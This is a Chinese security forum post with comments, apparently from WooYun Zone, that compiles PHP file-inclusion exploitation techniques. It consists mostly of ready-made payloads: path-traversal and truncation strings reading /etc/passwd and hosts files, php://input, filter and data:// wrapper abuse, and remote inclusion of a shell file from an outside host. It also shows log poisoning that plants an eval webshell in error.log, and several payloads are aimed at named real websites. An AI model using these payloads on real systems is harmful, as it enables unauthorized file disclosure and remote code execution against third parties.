PHP文件包含漏洞利用

这是一个关于PHP文件包含漏洞的一个小的总结,来自Reiners’ Weblog。这些技巧可能以前在很多地方都可以看到,但他把它整理规范了,方便收藏与阅读。
基本的文件包含漏洞:
code : 
* 包含同路径下的文件:
?file=.htaccess
* 路径遍历:
?file=../../../../../../../../../var/lib/locate.db
(该文件非常有趣因为它允许你搜索文件系统)
* 包含注入PHP代码的文件:
?file=../../../../../../../../../var/log/apache/error.log
(you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.)

受限的本地文件包含:
code : 
* 空字符注入(Null Byte Injection):
?file=../../../../../../../../../etc/passwd%00
(需要magic_quotes_gpc=off)
* 列目录(Null Byte Injection):
?file=../../../../../../../../../var/www/accounts/%00
(仅限BSD, 需要magic_quotes_gpc=off,详细信息here)

*路径截断(Path Truncation):
?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
(详细信息参见 here 和 here)
* 点号截断:
?file=../../../../../../../../../etc/passwd……………. …
(仅限Windows, 更多细节参见 here)

基本的远程文件包含:
code : 
* 包含远程代码(Including Remote Code):
?file=[http|https|ftp]://websec.wordpress.com/shell.txt
(需要 allow_url_fopen=On 和 allow_url_include=On)
* 使用php输入流(Using PHP stream php://input):
?file=php://input
(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
* 使用PHP过滤函数(Using PHP stream php://filter):
?file=php://filter/convert.base64-encode/resource=index.php
(lets you read PHP source because it wont get evaluated in base64. More details here and here)

* Using data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要 allow_url_include=On)
* 用于跨站脚本攻击(Using XSS):
?file=http://127.0.0.1/path/xss.php?xss=phpcode
(makes sense if firewalled or only whitelisted domains allowed)

受限的远程文件包含漏洞
code : 
* ?file=http://websec.wordpress.com/shell
* ?file=http://websec.wordpress.com/shell.txt?
* ?file=http://websec.wordpress.com/shell.txt%23
(需要 allow_url_fopen=On 和 allow_url_include=On)


长文件名截断:

访问http://www.ujn.edu.cn/<%3fphp eval($_REQUEST[s]);%3f>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx..........................aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

会因为文件名太长记录到error.log中(选择error.log因为通常它比acess.log体积小点)。

然后包含之:http://www.ujn.edu.cn/english/depart.php?s=phpinfo();&name=../../../../../../var/log/lighttpd/error.log/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././  


静态远程文件包含漏洞:
code : 
* 中间人攻击(Man In The Middle)
(lame indeed, but often forgotten)

[+]Reference:


wooyun Evil 

http://zone.wooyun.org/content/2196


有空就多整理下曾经研究过的知识和需要温顾的知识,明年可能去寻工作络. 


关于PHP中LFI(Local File Include,本地文件包含)漏洞,大家都很熟悉了;paper很多很多,特别是国外的...不过 

大家都懒得测试,我就来整理下. 

1.普通本地包含; 

$query=$_GET['p']; 

include($query); 
?>



poc:http://127.0.0.1:8080/phpwite/include.php?p=../hanguo/test.php

../hanguo/test.php为包含的路径. 

 

只要目标服务器支持上传,不管是jpg,txt,gif等都可以,在其中包含一句话木马即可,这种方法很简单没什么可说的。 

2.截断本地包含 
require_once($a.'.php'); 


include($a.".php"); 

等等类似此包含的函数..



WINDOWS下还有特别用处: 

\.或者./或者\或者/截断 (WINDOWS都可以使用.) 

波波虎 


截断的原理 


Linux包含截断例子 (Linux .//可以.) 

%00截断包含,有gpc=off和php版本限制 

poc:http://127.0.0.1:8080/phpwite/include.php?p=../hanguo/test.php%00


3.远程包含 

allow_url_include=On就是远程文件包含了,为off那就只能本地包含了. 

测试case: 
$query=$_GET['p']; 

include($query.".php"); 
?>



连接:http://www.xsser.com/explame.php?p=http://www.axxer.com/yeah.txt

爆错了: 

Warning: main(http://www.axxer.com/yeah.txt.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in 

/var/www/htdocs/explame.php on line 3



include($query.".php");代码的缘故,在后面加上了".php",导致yeah.txt变成了yeah.txt.php

这里我们不需要截断啦,来个360计之----将计就计

在www.axxer.com创建个yeah.php文件; 

然后http://www.xsser.com/explame.php?p=http://www.axxer.com/yeah,自动在后面加 

.php;多么爱。。。。 


远程包含小连接 

我们还可以用php自带协议来利用: 

包含data:// 或者php://input 伪协议

这个漏洞对于php5.0以下有效,5.3测试失败,其他大家自行总结。还是比较鸡肋,不过不亏为一种好思路。 

http://www.schnelltest24.de/index.php?page=/etc/passwd//这个没有截断,我们尝试下用协议看看. 

 

利用协议然后POST发送利用代码,哈哈;多么有爱~~~~. 

4.日记包含高级利用 

Linux包含截断例子 

此连接已经透露出技巧了呢,连接思路简单说下: 

(1)访问带有一句话的错误连接(http://www.ujn.edu.cn/<%3fphp eval($_REQUEST[s]);%3f>xxxxxxxx...),此连接将记录到error.log错误记录文件中. 


(2)找到包含漏洞的地方,包含到error.log文件的路径.然后在自定义s参数中输入我们恶意代码. (http://www.ujn.edu.cn/english/depart.php?s=phpinfo();&name=../../../../../../var/log/lighttpd/error.log/././..........) 


一先限制以及突破: 
类似http://www.exp.com/index.php 
这样的提交,某些WEB服务器将会把空格做HTTP编码转成%20写入web日志,如果PHP包含这样的语句肯定是不会成功的,所以我们必须把空格真正的写入WEB日志.


可以使用:伪造没有Connection HTTP标头的请求包 

一点连接:内容1 

内容2 


5.其他高级利用 

(1)包含/proc/self/environ环境变量: 
这个是利用Linux中的环境变量作为基础,很多时候这个方法行不通,因为没有/proc/self/environ的访问权限.同读取/etc/passwd一样

PHP文件包含漏洞利用_第1张图片 

利用(文章中第四点有详细介绍了.) 

(2) phpinfo临时文件爆破包含. //看情况而定,有的需要%00等特殊字符截断.上面介绍过了. 

(3)_SESSION爆破包含.   //看情况而定,有的需要%00等特殊字符截断.上面介绍过了. 

(2) (3)点介绍 

phpinfo爆破包含pdf

感谢(1)
分享到: 0
16 个回复
  1. 1# 梧桐雨 (一个习惯逛zone社区的路人)   |  2013-01-03 15:50

    收下了

  2. 2# _Evil (年轻人切忌浮躁,性趣是最好的导师.)   |  2013-01-03 16:20

    @冷冷的夜 你在干啥。

  3. 3# 鬼哥   |  2013-01-03 21:37

    \.或者./或者\或者/截断 (WINDOWS都可以使用.) 

    用这个我反正没成功过。本地测试也不成功!

  4. 4# xsser (十根阳具有长短!!)   |  2013-01-03 22:21

    @_Evil @晴天小铸 很努力啊  :)

  5. 5# 三叔 (fuck)   |  2013-01-03 22:28

    可以做后门用。。

  6. 6# _Evil (年轻人切忌浮躁,性趣是最好的导师.)   |  2013-01-03 22:59

    @鬼哥   我成功了 windows xp   appserv

  7. 7# _Evil (年轻人切忌浮躁,性趣是最好的导师.)   |  2013-01-03 23:00

    @xsser  解封我旧马甲

  8. 8# /fd (/proc) ‫()   |  2013-01-03 23:54

    補充:PHP Version >=5.3.4, >=5.2.15 的 NULL byte poisoning已被fixed,加上gpc及各種過濾,基本上已死
    RFI(远程包含)的後綴可以用?當成query string 來truncate
    更多的Path Truncation: FreeBSD、Fuzz1、Fuzz2 href="http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/"]Fuzz2[/link]、點號截斷、Linux
    PHP的伪协议又叫Wrapper:http://php.net/manual/en/wrappers.php,當中以php stream最為常用,例如在readfile而不是include等場景可以透過php://filter/read=convert.base64-encode/resource= 讀取base64後的文件;
    又例如php://fd 的利用:http://zone.wooyun.org/content/230 (PHP Version >=5.3.6 and <= 5.4.3, 5.3.13)
    要留意部分wrapper需要特定條件

    最後在Windows中包含临时文件可以嘗試大量上傳並遍曆tmp目錄,檔案名最长4个随机字符如php1A.tmp

  9. 9# GaRY   |  2013-01-04 10:03

    @/fd 唉,早知道留点tricks,基本被php官方补的差不多了.尤其那个FD的

  10. 10# /fd (/proc) ‫()   |  2013-01-04 10:13

    @GaRY 也不能說留不留,總會有其他人發現的

  11. 11# _Evil (年轻人切忌浮躁,性趣是最好的导师.)   |  2013-01-04 13:05

    楼上和楼楼上是高手

  12. 12# txcbg   |  2013-01-04 17:13

    总结的不错啊,收藏了。

  13. 13# Clar   |  2013-01-05 09:13

    收下,谢谢

  14. 14# HRay (。。。)   |  2013-05-09 16:53

    php远程文件包含同样可以截断的,没必要重新弄个php文件,一般都是包含txt,截断就是file=http://www.xx.com/test.txt?
    用txt的原因是如果你的服务器解析php的话就不行了,test.txt?.php的话php会当做参数,文件则还是test.txt

  15. 15# _Evil (年轻人切忌浮躁,性趣是最好的导师.)   |  2013-05-09 17:56

    @HRay 小失误 早知道了  可惜不能编辑蛋碎一地

  16. 16# GaRY   |  2013-05-09 22:03

    有人挖了这个帖子,我再补充几点说明:

    1、linux利用./ \\之类去做截断,貌似已经失效。
    2、data:// php://input之类的包含,受到allow_url_include的限制。wrapper本身这个协议不受限制,但是也只能本地,不能用url绕过。因为读取同样底层是用stream类函数,也受到限制的。
    3、/proc/self/environ包含,只能对于apache+mod_php起作用(cgi貌似也可以,忘了),fcgi之类的不起作用,服务器变量不是通过env传递的。
    4、php://fd这个,php最新的版本已经无法利用了。这个已经改为只能通过cli运行php的时候才可以访问php://fd。



windos下的

http://www.wooyun.org/bugs/wooyun-2010-08824

    

http://stat.happigo.com/web/siterank.php?ranktype=unexisting/../../../../../../../../../../windows/System32/drivers/etc/hosts.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\






你可能感兴趣的:(技术文章)